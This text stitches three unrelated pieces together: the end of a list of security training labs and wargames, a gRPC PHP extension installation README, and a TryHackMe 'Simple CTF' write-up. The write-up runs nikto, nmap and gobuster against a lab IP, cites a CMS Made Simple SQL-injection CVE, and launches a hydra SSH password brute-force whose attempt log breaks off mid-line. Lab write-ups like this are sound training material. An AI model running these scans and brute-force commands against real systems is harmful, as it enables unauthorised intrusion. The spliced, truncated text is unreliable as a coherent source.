the European Cyber Security Challenge with Austria, Germany, Switzerland, UK, Spain, Romania and provides free OWASP TOP 10 online security labs.| |[Hacksplaining](https://www.hacksplaining.com/)|Security Training for Developers.| |[HackSys Extreme Vulnerable Driver](https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/)|HackSys Extreme Vulnerable Driver is intentionally vulnerable Windows driver developed for security enthusiasts to learn and polish their exploitation skills at Kernel level.| |[HackThis!!](https://www.hackthis.co.uk/)|Test your skills with 50+ hacking levels, covering all aspects of security.| |[Hackxor](http://hackxor.sourceforge.net/cgi-bin/index.pl)|Hackxor is a web app hacking game where players must locate and exploit vulnerabilities to progress through the story. Think WebGoat but with a plot and a focus on realism&difficulty. Contains XSS, CSRF, SQLi, ReDoS, DOR, command injection, etc.| |[Halls of Valhalla](http://halls-of-valhalla.org/beta/challenges)|Challenges you can solve. Valhalla is a place for sharing knowledge and ideas. Users can submit code, as well as science, technology, and engineering-oriented news and articles.| |[Hax.Tor](http://hax.tor.hu/welcome/)|Provides numerous interesting “hacking” challenges to the user.| |[Hellbound Hackers](https://www.hellboundhackers.org/)|Learn a hands-on approach to computer security. Learn how hackers break in, and how to keep them out.| |[Holynix](https://sourceforge.net/projects/holynix/files/)|Holynix is a Linux VMware image that was deliberately built to have security holes for the purposes of penetration testing.| |[HSCTF3](http://hsctf.com/)|HSCTF is an international online hacking competition designed to educate high schoolers in computer science.| |[Information Assurance Support Environment (IASE)](https://public.cyber.mil/cyber-training/training-catalog/?_training_types=3-training-student-self-paced)|Great site with Cybersecurity Awareness Training, Cybersecurity Training for IT Managers, Cybersecurity Training for Cybersecurity Professionals, Cybersecurity Technical Training, NetOps Training, Cyber Law Awareness, and FSO Tools Training available online.| |[Java Vulnerable Lab](https://github.com/CSPF-Founder/JavaVulnerableLab)|Vulnerable Java based Web Application.| |[Juice Shop](https://github.com/bkimminich/juice-shop)|OWASP Juice Shop is an intentionally insecure web app for security training written entirely in Javascript which encompasses the entire OWASP Top Ten and other severe security flaws.| |[LAMPSecurity Training](https://sourceforge.net/projects/lampsecurity/)|LAMPSecurity training is designed to be a series of vulnerable virtual machine images along with complementary documentation designed to teach Linux,apache,PHP,MySQL security.| |[Magical Code Injection Rainbow](https://github.com/SpiderLabs/MCIR)|The Magical Code Injection Rainbow! MCIR is a framework for building configurable vulnerability testbeds. MCIR is also a collection of configurable vulnerability testbeds.| |[Metasploit Unleashed](https://www.offensive-security.com/metasploit-unleashed/)|Free Ethical Hacking Course.| |[Metasploitable 3](https://github.com/rapid7/metasploitable3)|Metasploitable3 is a VM that is built from the ground up with a large number of security vulnerabilities.| |[Microcorruption CTF](https://microcorruption.com/login)|Challenge: given a debugger and a device, find an input that unlocks it. Solve the level with that input.| |[Morning Catch](http://blog.cobaltstrike.com/2014/08/06/introducing-morning-catch-a-phishing-paradise/)|Morning Catch is a VMware virtual machine, similar to Metasploitable, to demonstrate and teach about targeted client-side attacks and post-exploitation.| |[Mutillidae](https://sourceforge.net/projects/mutillidae/)|OWASP Mutillidae II is a free, open source, deliberately vulnerable web application providing a target for web-security enthusiast.| |[MysteryTwister C3](https://www.mysterytwisterc3.org/en/)|MysteryTwister C3 lets you solve crypto challenges, starting from the simple Caesar cipher all the way to modern AES, they have challenges for everyone.| |[National Institutes of Health (NIH)](https://irtsectraining.nih.gov/publicUser.aspx)|Short courses on Information Security and Privacy Awareness. They have a section for executives, managers and IT Administrators as well.| |[OpenSecurityTraining.info](http://opensecuritytraining.info/Training.html)|OpenSecurityTraining.info is dedicated to sharing training material for computer security classes, on any topic, that are at least one day long.| |[Overthewire](http://overthewire.org/wargames/)|The wargames offered by the OverTheWire community can help you to learn and practice security concepts in the form of fun-filled games.| |[OWASP Broken Web Applications Project](https://www.owasp.org/index.php/OWASP_Broken_Web_Applications_Project)|OWASP Broken Web Applications Project is a collection of vulnerable web applications that is distributed on a Virtual Machine.| |[OWASP GoatDroid](https://github.com/jackMannino/OWASP-GoatDroid-Project)|OWASP GoatDroid is a fully functional and self-contained training environment for educating developers and testers on Android security. GoatDroid requires minimal dependencies and is ideal for both Android beginners as well as more advanced users.| |[OWASP iGoat](https://www.owasp.org/index.php/OWASP_iGoat_Project)|iGoat is a learning tool for iOS developers (iPhone, iPad, etc.).| |[OWASP Mutillidae II](https://sourceforge.net/projects/mutillidae/)|OWASP Mutillidae II is a free, open source, deliberately vulnerable web-application providing a target for web-security enthusiast.| |[OWASP Security Shepherd](https://www.owasp.org/index.php/OWASP_Security_Shepherd)|The OWASP Security Shepherd project is a web and mobile application security training platform.| |[OWASP SiteGenerator](https://en.freedownloadmanager.org/Windows-PC/OWASP-Site-Generator-FREE.html)|OWASP SiteGenerator allows the creating of dynamic websites based on XML files and predefined vulnerabilities (some simple, some complex) covering .Net languages and web development architectures (for example, navigation: Html, Javascript, Flash, Java, etc...).| |[Pentesterlab](https://pentesterlab.com/exercises/from_sqli_to_shell)|This exercise explains how you can, from a SQL injection, gain access to the administration console, then in the administration console, how you can run commands on the system.| |[Pentestit.ru](https://lab.pentestit.ru/)|Pentestit.ru has free labs that emulate real IT infrastructures. It is created for practicing legal pen testing and improving penetration testing skills. OpenVPN is required to connect to the labs.| |[Peruggia](https://sourceforge.net/projects/peruggia/)|Peruggia is designed as a safe, legal environment to learn about and try common attacks on web applications. Peruggia looks similar to an image gallery but contains several controlled vulnerabilities to practice on.| |[PicoCTF](https://picoctf.com/)|picoCTF is a computer security game targeted at middle and high school students. The game consists of a series of challenges centered around a unique storyline where participants must reverse engineer, break, hack, decrypt, or do whatever it takes to solve the challenge.| |[Professor Messer](http://www.professormesser.com/)|Good free training video's, not only on Security but on CompTIA A+, Network and Microsoft related as well.| |[Puzzlemall](https://code.google.com/archive/p/puzzlemall/)|PuzzleMall - A vulnerable web application for practicing session puzzling.| |[Pwnable.kr](http://pwnable.kr/)|'pwnable.kr' is a non-commercial wargame site which provides various pwn challenges regarding system exploitation. while playing pwnable.kr, you could learn/improve system hacking skills but that shouldn't be your only purpose.| |[Pwnos](https://www.vulnhub.com/entry/pwnos-20-pre-release,34/)|PwnOS is a vulnerable by design OS .. and there are many ways you can hack it.| |[Reversing.kr](http://reversing.kr)|This site tests your ability to Cracking & Reverse Code Engineering.| |[Ringzero](https://ringzer0team.com/challenges)|Challenges you can solve and gain points.| |[Root Me](https://www.root-me.org/)|Hundreds of challenges and virtual environments. Each challenge can be associated with a multitude of solutions so you can learn.| |[Roppers Academy Training](https://www.hoppersroppers.org/training.html)|Free courses on computing and security fundamentals designed to train a beginner to crush their first CTF.| |[RPISEC/MBE](https://github.com/RPISEC/MBE)|Modern Binary Exploitation Course materials.| |[RPISEC/Malware](https://github.com/RPISEC/Malware)|Malware Analysis Course materials.| |[SANS Cyber Aces](http://www.cyberaces.org/courses/)|SANS Cyber Aces Online makes available, free and online, selected courses from the professional development curriculum offered by The SANS Institute, the global leader in cyber security training.| |[Scene One](https://www.vulnhub.com/entry/21ltr-scene-1,3/)|Scene One is a pen testing scenario liveCD made for a bit of fun and learning.| |[SEED Labs](https://seedsecuritylabs.org/)|The SEED project has labs on Software, Network, Web, Mobile and System security and Cryptography labs.| |[SentinelTestbed](https://github.com/dobin/SentinelTestbed)|Vulnerable website. Used to test sentinel features.| |[SG6 SecGame](http://sg6-labs.blogspot.nl/2007/12/secgame-1-sauron.html)|Spanish language, vulnerable GNU/Linux systems.| |[SlaveHack](http://www.slavehack.com/)|My personal favorite: Slavehack is a virtual hack simulation game. Great for starters, I've seen kids in elementary school playing this!| |[SlaveHack 2 *BETA*](https://www.slavehack2.com/)|Slavehack 2 is a sequel to the original Slavehack. It's also a virtual hack simulation game but you will find features much closer to today's Cyber reality.| |[Smashthestack](http://smashthestack.org/)|This network hosts several different wargames, ranging in difficulty. A wargame, in this context, is an environment that simulates software vulnerabilities and allows for the legal execution of exploitation techniques.| |[SocketToMe](https://digi.ninja/projects/sockettome.php)|SocketToMe SocketToMe is little application for testing web sockets.| |[SQLI labs](https://github.com/Audi-1/sqli-labs)|SQLI labs to test error based, Blind boolean based, Time based.| |[Sqlilabs](https://github.com/himadriganguly/sqlilabs)|Lab set-up for learning SQL Injection Techniques.| |[SQLzoo](http://sqlzoo.net/hack/)|Try your Hacking skills against this test system. It takes you through the exploit step-by-step.| |[Stanford SecuriBench / Securibench Micro](https://github.com/too4words/securibench-micro/)|Stanford SecuriBench / Securibench Micro is a series of small test cases designed to excercise different parts of a static security analyzer. Each test case in Securibench Micro comes with an answer, which simplifies the comparison process.| |[The ButterFly - Security Project](https://sourceforge.net/projects/thebutterflytmp/?source=navbar)|The ButterFly project is an educational environment intended to give an insight into common web application and PHP vulnerabilities. The environment also includes examples demonstrating how such vulnerabilities are mitigated.| |[ThisIsLegal](http://www.thisislegal.com/)|A hacker wargames site but also with much more.| |[Try2Hack](https://www.try2hack.lt/en/)|Try2hack provides several security-oriented challenges for your entertainment. The challenges are diverse and get progressively harder.| |[TryHackMe](https://tryhackme.com)|TryHackMe is an online platform that teaches Cybersecurity through hands-on virtual labs. Whether you are an expert or beginner, learn through a virtual room structure to understand theoretical and practical security elements.| |[UltimateLAMP](http://www.amanhardikar.com/mindmaps/practice-links.html)|UltimateLAMP is a fully functional environment allowing you to easily try and evaluate a number of LAMP stack software products without requiring any specific setup or configuration of these products.| |[Vicnum](https://owasp.org/www-project-vicnum/migrated_content)|Vicnum is an OWASP project consisting of vulnerable web applications based on games commonly used to kill time. These applications demonstrate common web security problems such as cross-site scripting, SQL injections, and session management issues.| |[Vulnerable Node](https://github.com/cr0hn/vulnerable-node)|A very vulnerable web site written in NodeJS to explore various vulnerabilities.| |[Vulnhub](https://www.vulnhub.com/)|An extensive collection of vulnerable VMs with user-created solutions.| |[Vulnix](https://www.rebootuser.com/?page_id=1041)|A vulnerable Linux host with configuration weaknesses rather than purposely vulnerable software versions.| |[Vulnserver](http://www.thegreycorner.com/2010/12/introducing-vulnserver.html)|Windows-based threaded TCP server application that is designed to be exploited.| |[W3Challs](https://w3challs.com)|W3Challs is a penetration testing training platform, which offers various computer challenges, in categories related to security| |[WackoPicko](https://github.com/adamdoupe/WackoPicko)|WackoPicko is a vulnerable web application used to test web application vulnerability scanners.| |[Web Attack and Exploitation Distro](https://www.youtube.com/watch?v=EBaFeuFlqyw)|WAED is pre-configured with various real-world vulnerable web applications in a sandboxed environment. It includes pen testing tools as well.| |[Web Security Dojo](https://sourceforge.net/projects/websecuritydojo/)|Web Security Dojo is a preconfigured, stand-alone training environment for Web Application Security.| |[WebGoat](https://www.owasp.org/index.php/Category:OWASP_WebGoat_Project)|WebGoat is a deliberately insecure web application maintained by OWASP designed to teach web application security lessons. You can install and practice with WebGoat.| |[Wechall](http://www.wechall.net/)|Focussed on offering computer-related problems. You will find Cryptographic, Crackit, Steganography, Programming, Logic and Math/Science. The difficulty of these challenges varies as well.| |[XSS-game](https://xss-game.appspot.com/)|In this training program, you will learn to find and exploit XSS bugs. You'll use this knowledge to confuse and infuriate your adversaries by preventing such bugs from happening in your applications.| |[XVWA](https://github.com/s4n7h0/xvwa)|XVWA is a badly coded web application written in PHP/MySQL that helps security enthusiasts to learn application security.| Ạ̸͛̀̑̚w̷̙͓͊̑̈́͂̀̈́ẻ̸̟̝̒͠s̸̛̜̣͖̘̪̦͂͂̃͛͜o̷͕̺͎͔͌̏m̵͈̝͎̓̓̀͆̂ẻ̴͕̲̳͝ ̸̺̽̋̒̚̕Ĉ̷̺̩̭̐͘͝ỳ̴̨̱͂́b̷̀̉̍̓̀͋̈́̚ͅḛ̸̲̝̈́̊̈́̾͑̏̀̒r̴̰̬̘̻͙̉̌̀͆̎ ̴̰͐S̷̫̜̖͍̋͌̎k̸̢̯͒͊̀̍̽͂͝͠ï̴̛̘͚͘l̴̤̬͕̺̙̮̱͇͊̉ḽ̷̝̣̪̘́̅s̷̼̜̀̉͒̈́ ![](https://user-images.githubusercontent.com/24913656/230711569-50e16175-47f1-4073-9fff-ad3008541036.png)
# Overview This directory contains source code for PHP implementation of gRPC layered on shared C library. The same installation guides with more examples and tutorials can be seen at [grpc.io](https://grpc.io/docs/quickstart/php.html). gRPC PHP installation instructions for Google Cloud Platform is in [cloud.google.com](https://cloud.google.com/php/grpc). ## Environment ### Prerequisite: * `php` 5.5 or above, 7.0 or above * `pecl` * `composer` * `phpunit` (optional) **Install PHP and PECL on Ubuntu/Debian:** For PHP5: ```sh $ sudo apt-get install php5 php5-dev php-pear ``` For PHP7: ```sh $ sudo apt-get install php7.0 php7.0-dev php-pear ``` or ```sh $ sudo apt-get install php php-dev php-pear ``` **Install PHP and PECL on CentOS/RHEL 7:** ```sh $ sudo rpm -Uvh https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm $ sudo rpm -Uvh https://mirror.webtatic.com/yum/el7/webtatic-release.rpm $ sudo yum install php56w php56w-devel php-pear phpunit gcc zlib-devel ``` **Install PHP and PECL on Mac:** ```sh $ curl -O http://pear.php.net/go-pear.phar $ sudo php -d detect_unicode=0 go-pear.phar ``` **Install Composer (Linux or Mac):** ```sh $ curl -sS https://getcomposer.org/installer | php $ sudo mv composer.phar /usr/local/bin/composer ``` **Install PHPUnit (Linux or Mac):** PHP tests currently require using an older version of PHPUnit ```sh $ wget https://phar.phpunit.de/phpunit-5.7.27.phar $ chmod +x phpunit-5.7.27.phar $ sudo mv phpunit-5.7.27.phar /usr/local/bin/phpunit ``` ## Install the gRPC PHP extension There are two ways to install gRPC PHP extension. * `pecl` * `build from source` ### Using PECL ```sh sudo pecl install grpc ``` or specific version ```sh sudo pecl install grpc-1.12.0 ``` Note: for users on CentOS/RHEL 6, unfortunately this step won’t work. Please follow the instructions below to compile the PECL extension from source. #### Install on Windows You can download the pre-compiled gRPC extension from the PECL [website](https://pecl.php.net/package/grpc) ### Build from Source with gRPC C core library Clone this repository ```sh $ git clone -b $(curl -L https://grpc.io/release) https://github.com/grpc/grpc ``` #### Build and install the gRPC C core library ```sh $ cd grpc $ git submodule update --init $ make $ sudo make install ``` #### Build and install gRPC PHP extension Compile the gRPC PHP extension ```sh $ cd grpc/src/php/ext/grpc $ phpize $ ./configure $ make $ sudo make install ``` This will compile and install the gRPC PHP extension into the standard PHP extension directory. You should be able to run the [unit tests](#unit-tests), with the PHP extension installed. ### Update php.ini After installing the gRPC extension, make sure you add this line to your `php.ini` file, (e.g. `/etc/php5/cli/php.ini`, `/etc/php5/apache2/php.ini`, or `/usr/local/etc/php/5.6/php.ini`), depending on where your PHP installation is. ```sh extension=grpc.so ``` **Add the gRPC PHP library as a Composer dependency** You need to add this to your project's `composer.json` file. ``` "require": { "grpc/grpc": "v1.12.0" } ``` To run tests with generated stub code from `.proto` files, you will also need the `composer` and `protoc` binaries. You can find out how to get these below. ## Install other prerequisites for both Mac OS X and Linux * `protoc: protobuf compiler` * `protobuf.so: protobuf runtime library` * `grpc_php_plugin: Generates PHP gRPC service interface out of Protobuf IDL` ### Install Protobuf compiler If you don't have it already, you need to install the protobuf compiler `protoc`, version 3.5.0+ (the newer the better) for the current gRPC version. If you installed already, make the protobuf version is compatible to the grpc version you installed. If you build grpc.so from the souce, you can check the version of grpc inside package.xml file. The compatibility between the grpc and protobuf version is listed as table below: grpc | protobuf --- | --- v1.0.0 | 3.0.0(GA) v1.0.1 | 3.0.2 v1.1.0 | 3.1.0 v1.2.0 | 3.2.0 v1.2.0 | 3.2.0 v1.3.4 | 3.3.0 v1.3.5 | 3.2.0 v1.4.0 | 3.3.0 v1.6.0 | 3.4.0 v1.8.0 | 3.5.0 v1.12.0 | 3.5.2 v1.13.1 | 3.5.2 v1.14.2 | 3.5.2 v1.15.1 | 3.6.1 v1.16.1 | 3.6.1 v1.17.2 | 3.6.1 v1.18.0 | 3.6.1 v1.19.1 | 3.6.1 v1.20.1 | 3.7.0 v1.21.3 | 3.7.0 v1.22.0 | 3.8.0 If `protoc` hasn't been installed, you can download the `protoc` binaries from [the protocol buffers Github repository](https://github.com/google/protobuf/releases). Then unzip this file and update the environment variable `PATH` to include the path to the protoc binary file. If you really must compile `protoc` from source, you can run the following commands, but this is risky because there is no easy way to uninstall / upgrade to a newer release. ```sh $ cd grpc/third_party/protobuf $ ./autogen.sh && ./configure && make $ sudo make install ``` ### Protobuf Runtime library There are two protobuf runtime libraries to choose from. They are identical in terms of APIs offered. The C implementation provides better performance, while the native implementation is easier to install. Make sure the installed protobuf version works with grpc version. #### 1. C implementation (for better performance) ``` sh $ sudo pecl install protobuf ``` or specific version ``` sh $ sudo pecl install protobuf-3.5.1.1 ``` Add this to your `php.ini` file: ```sh extension=protobuf.so ``` #### 2. PHP implementation (for easier installation) Add this to your `composer.json` file: ``` "require": { "google/protobuf": "^v3.5.0" } ``` ### PHP Protoc Plugin You need the gRPC PHP protoc plugin to generate the client stub classes. It can generate server and client code from .proto service definitions. It should already been compiled when you run `make` from the root directory of this repo. The plugin can be found in the `bins/opt` directory. We are planning to provide a better way to download and install the plugin in the future. You can also just build the gRPC PHP protoc plugin by running: ```sh $ git clone -b $(curl -L https://grpc.io/release) https://github.com/grpc/grpc $ cd grpc $ git submodule update --init $ make grpc_php_plugin ``` Plugin may use the new feature of the new protobuf version, thus please also make sure that the protobuf version installed is compatible with the grpc version you build this plugin. ## Unit Tests You will need the source code to run tests ```sh $ git clone -b $(curl -L https://grpc.io/release) https://github.com/grpc/grpc $ cd grpc $ git submodule update --init ``` Run unit tests ```sh $ cd grpc/src/php $ ./bin/run_tests.sh ``` ## Generated Code Tests This section specifies the prerequisites for running the generated code tests, as well as how to run the tests themselves. ### Composer Install the runtime dependencies via `composer install`. ```sh $ cd grpc/src/php $ composer install ``` ### Client Stub Generate client stub classes from `.proto` files ```sh $ cd grpc/src/php $ ./bin/generate_proto_php.sh ``` ### Run test server Run a local server serving the math services. Please see [Node][] for how to run an example server. ```sh $ cd grpc/src/php/tests/generated_code $ npm install $ node math_server.js ``` ### Run test client Run the generated code tests ```sh $ cd grpc/src/php $ ./bin/run_gen_code_test.sh ``` ## Use the gRPC PHP extension with Apache Install `apache2`, in addition to `php5` above ```sh $ sudo apt-get install apache2 ``` Add this line to your `php.ini` file, e.g. `/etc/php5/apache2/php.ini` or `/etc/php/7.0/apache2/php.ini` ```sh extension=grpc.so ``` Restart apache ```sh $ sudo service apache2 restart ``` Make sure the Node math server is still running, as above. ```sh $ cd grpc $ npm install $ node src/node/test/math/math_server.js ``` Make sure you have run `composer install` to generate the `vendor/autoload.php` file ```sh $ cd grpc/src/php $ composer install ``` Make sure you have generated the client stubs ```sh $ ./bin/generate_proto_php.sh ``` Copy the `math_client.php` file into your Apache document root, e.g. ```sh $ cp tests/generated_code/math_client.php /var/www/html ``` You may have to fix the first line to point the includes to your installation: ```php include 'vendor/autoload.php'; ``` Connect to `localhost/math_client.php` in your browser, or run this from command line: ```sh $ curl localhost/math_client.php ``` ## Use the gRPC PHP extension with Nginx/PHP-FPM Install `nginx` and `php5-fpm`, in addition to `php5` above ```sh $ sudo apt-get install nginx php5-fpm OR $ sudo apt-get install nginx php7.0-fpm ``` Add this line to your `php.ini` file, e.g. `/etc/php5/fpm/php.ini` ```sh extension=grpc.so ``` Uncomment the following lines in your `/etc/nginx/sites-available/default` file: ``` location ~ \.php$ { include snippets/fastcgi-php.conf; fastcgi_pass unix:/var/run/php5-fpm.sock; } ``` Restart nginx and php-fpm ```sh $ sudo service nginx restart $ sudo service php5-fpm restart ``` Make sure the Node math server is still running, as above. ```sh $ cd grpc $ npm install $ node src/node/test/math/math_server.js ``` Make sure you have run `composer install` to generate the `vendor/autoload.php` file ```sh $ cd grpc/src/php $ composer install ``` Make sure you have generated the client stubs ```sh $ ./bin/generate_proto_php.sh ``` Copy the `math_client.php` file into your Nginx document root, e.g. ```sh $ cp tests/generated_code/math_client.php /var/www/html ``` You may have to fix the first line to point the includes to your installation: ```php include 'vendor/autoload.php'; ``` Connect to `localhost/math_client.php` in your browser, or run this from command line: ```sh $ curl localhost/math_client.php ``` [Node]:https://github.com/grpc/grpc/tree/master/src/node/examples
# Simple CTF Beginner level ctf [Simple CTF](https://tryhackme.com/room/easyctf) ## Topic's * Web Enumeration * Network Enumeration * CVE-2019-9053 - CMS Made Simple < 2.2.10 * Brute Forcing (SSH) * Misconfigured Binaries ## Simple CTF Deploy the machine and attempt the questions! ``` kali@kali:~/CTFs/tryhackme/Simple CTF$ nikto -h http://10.10.158.205/ - Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 10.10.158.205 + Target Hostname: 10.10.158.205 + Target Port: 80 + Start Time: 2020-10-04 20:47:22 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.18 (Ubuntu) + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + No CGI Directories found (use '-C all' to force check all possible dirs) + "robots.txt" contains 2 entries which should be manually viewed. + Server may leak inodes via ETags, header found with file /, inode: 2c39, size: 590523e6dfcd7, mtime: gzip + Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch. + Allowed HTTP Methods: GET, HEAD, POST, OPTIONS + OSVDB-3233: /icons/README: Apache default file found. ``` 1. How many services are running under port 1000? ``` kali@kali:~/CTFs/tryhackme/Simple CTF$ sudo nmap -A -sC -sV -sS -O 10.10.158.205 [sudo] password for kali: Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-04 20:43 CEST Nmap scan report for 10.10.158.205 Host is up (0.094s latency). Not shown: 997 filtered ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_Can't get directory listing: TIMEOUT | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:10.8.106.222 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 1 | vsFTPd 3.0.3 - secure, fast, stable |_End of status 80/tcp closed http 2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 29:42:69:14:9e:ca:d9:17:98:8c:27:72:3a:cd:a9:23 (RSA) | 256 9b:d1:65:07:51:08:00:61:98:de:95:ed:3a:e3:81:1c (ECDSA) |_ 256 12:65:1b:61:cf:4d:e5:75:fe:f4:e8:d4:6e:10:2a:f6 (ED25519) Device type: storage-misc|general purpose|WAP Running (JUST GUESSING): HP embedded (87%), Linux 2.6.X|3.X (86%), Ubiquiti embedded (86%), Ubiquiti AirOS 5.X (86%) OS CPE: cpe:/h:hp:p2000_g3 cpe:/o:linux:linux_kernel:2.6.32 cpe:/o:linux:linux_kernel:3 cpe:/h:ubnt:airmax_nanostation cpe:/o:ubnt:airos:5.2.6 Aggressive OS guesses: HP P2000 G3 NAS device (87%), Linux 2.6.32 (86%), Linux 2.6.32 - 3.1 (86%), Ubiquiti AirMax NanoStation WAP (Linux 2.6.32) (86%), Linux 3.7 (86%), Linux 2.6.32 - 3.13 (86%), Linux 3.0 - 3.2 (86%), Ubiquiti Pico Station WAP (AirOS 5.2.6) (86%), Ubiquiti AirOS 5.5.9 (85%), Linux 3.3 (85%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 80/tcp) HOP RTT ADDRESS 1 39.03 ms 10.8.0.1 2 105.55 ms 10.10.158.205 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 51.04 seconds ``` `2` 3. What is running on the higher port? `SSH` 4. What's the CVE you're using against the application? ``` kali@kali:~/CTFs/tryhackme/Simple CTF$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.158.205/ =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://10.10.158.205/ [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Timeout: 10s =============================================================== 2020/10/04 20:46:58 Starting gobuster =============================================================== /simple (Status: 301) Progress: 79243 / 220561 (35.93%)^C [!] Keyboard interrupt detected, terminating. =============================================================== 2020/10/04 20:54:11 Finished =============================================================== ``` * [CMS Made Simple < 2.2.10 - SQL Injection](https://www.exploit-db.com/exploits/46635) `CVE-2019-9053` 6. To what kind of vulnerability is the application vulnerable? `SQLi` 7. What's the password? ``` kali@kali:~/CTFs/tryhackme/Simple CTF$ hydra -l mitch -P /usr/share/wordlists/rockyou.txt 10.10.158.205 -s 2222 -Vv ssh Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-10-04 21:04:05 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task [DATA] attacking ssh://10.10.158.205:2222/ [VERBOSE] Resolving addresses ... [VERBOSE] resolving done [INFO] Testing if password authentication is supported by ssh://[email protected]:2222 [INFO] Successful, password authentication is supported by ssh://10.10.158.205:2222 [ATTEMPT] target 10.10.158.205 - login "mitch" - pass "123456" - 1 of 14344399 [child 0] (0/0) [ATTEMPT] target 10.10.158.205 - login "mitch" - pass "12345" - 2 of 14344399 [child 1] (0/0) [ATTEMPT] target 10.10.158.205 - login "mitch" - pass "123456789" - 3 of 14344399 [child 2] (0/0) [ATTEMPT] target 10.10.158.205 - login "mitch" - pass "password" - 4 of 14344399 [child 3] (0/0) [ATTEMPT] target 10.10.158.205 - login "mitch" - pass "iloveyou" - 5 of 14344399 [child 4] (0/0) [ATTEMPT] target 10.10.158.205 - login "mitch" - pass "princess" - 6 of 14344399 [child 5] (0/0) [ATTEMPT] target 10.10.158.205 - login "mitch" - pass "1234567" - 7 of 14344399 [child 6] (0/0) [ATTEMPT] target 10.10.158.205 - login "mitch" - pass "rockyou" - 8 of 14344399 [child 7] (0/0) [ATTEMPT] target 10.10.158.205 - login "mitch" - pass "12345678" - 9 of 14344399 [child 8] (0/0) [ATTEMPT] target 10.10.158.205 - login "mitch" - pass "abc123" - 10 of 14344399 [child 9] (0/0) [ATTEMPT] target 10.10.158.205 - login "mitch" - pass "nicole" - 11 of 14344399 [child 10] (0/0) [ATTEMPT] target 10.10.158.205 - login "mitch" - pass "daniel" - 12 of 14344399 [child 11] (0/0) [ATTEMPT] target 10.10.158.205 - login "mitch" - pass "babygirl" - 13 of 14344399 [child 12] (0/0) [ATTEMPT] target 10.10.158.205 - login "mitch" - pass "monkey" - 14 of 14344399 [child 13] (0/0) [ATTEMPT] target 10.10.158.205 - login "mitch" - pass "lovely" - 15 of 14344399 [child 14] (0/0) [ATTEMPT] target 10.10.158.205 - login "mitch" - pass "jessica" - 16 of 14344399 [child 15] (0/0) [ERROR] could not connect to target port 2222: Socket error: Connection reset by peer [ERROR] ssh protocol error [ERROR] could not connect to target port 2222: Socket error: Connection reset by peer [ERROR] ssh protocol error [ATTEMPT] target 10.10.158.205 - login "mitch" - pass "654321" - 17 of 14344401 [child 2] (0/2) [ATTEMPT] target 10.10.158.205 - login "mitch" - pass "michael" - 18 of 14344401 [child 13] (0/2) [ATTEMPT] target 10.10.158.205 - login "mitch" - pass "ashley" - 19 of 14344401 [child 12] (0/2) [ATTEMPT] target 10.10.158.205 - login "mitch" - pass "qwerty" - 20 of 14344401 [child 0] (0/2) [ATTEMPT] target 10.10.158.205 - login "mitch" - pass "111111" - 21 of 14344401 [child 1] (0/2) [ATTEMPT] target 10.10.158.205 - login "mitch" - pass "iloveu" - 22 of 14344401 [child 3] (0/2) [ATTEMPT] target 10.10.158.205 - login "mitch" - pass "000000" - 23 of 14344401 [child 6] (0/2) [ATTEMPT] target 10.10.158.205 - login "mitch" - pass "michelle" - 24 of 14344401 [child 8] (0/2) [ATTEMPT] target 10.10.158.205 - login "mitch" - pass "tigger" - 25 of 14344401 [child 11] (0/2) [ATTEMPT] target 10.10.158.205 - login "mitch" - pass "sunshine" - 26 of 14344401 [child 14] (0/2) [ATTEMPT] target 10.10.158.205 - login "mitch" - pass "chocolate" - 27 of 14344401 [child 2] (0/2) [ATTEMPT] target 10.10.158.205 - login "mitch" - pass "password1" - 28 of 14344401 [child 4] (0/2) [ATTEMPT] target 10.10.158.205 - login "mitch" - pass "soccer" - 29 of 14344401 [child 5] (0/2) [ATTEMPT] target 10.10.158.205 - login "mitch" - pass "anthony" - 30 of 14344401 [child 7] (0/2) [ATTEMPT] target 10.10.158.205 - login "mitch" - pass "friends" - 31 of 14344401 [child 9] (0/2) [ATTEMPT] target 10.10.158.205 - login "mitch" - pass "butterfly" - 32 of 14344401 [child 10] (0/2) [ATTEMPT] target 10.10.158.205 - login "mitch" - pass "purple" - 33 of 14344401 [child 13] (0/2) [ATTEMPT] target 10.10.158.205 - login "mitch" - pass "angel" - 34 of 14344401 [child 15] (0/2) [ATTEMPT] target 10.10.158.205 - login "mitch" - pass "jordan" - 35 of 14344401 [child 12] (0/2) [ATTEMPT] target 10.10.158.205 - login "mitch" - pass "liverpool" - 36 of 14344401 [child 15] (0/2) [ATTEMPT] target 10.10.158.205 - login "mitch" - pass "justin" - 37 of 14344401 [child 9] (0/2) [ATTEMPT] target 10.10.158.205 - login "mitch" - pass "loveme" - 38 of 14344401 [child 14] (0/2) [ATTEMPT] target 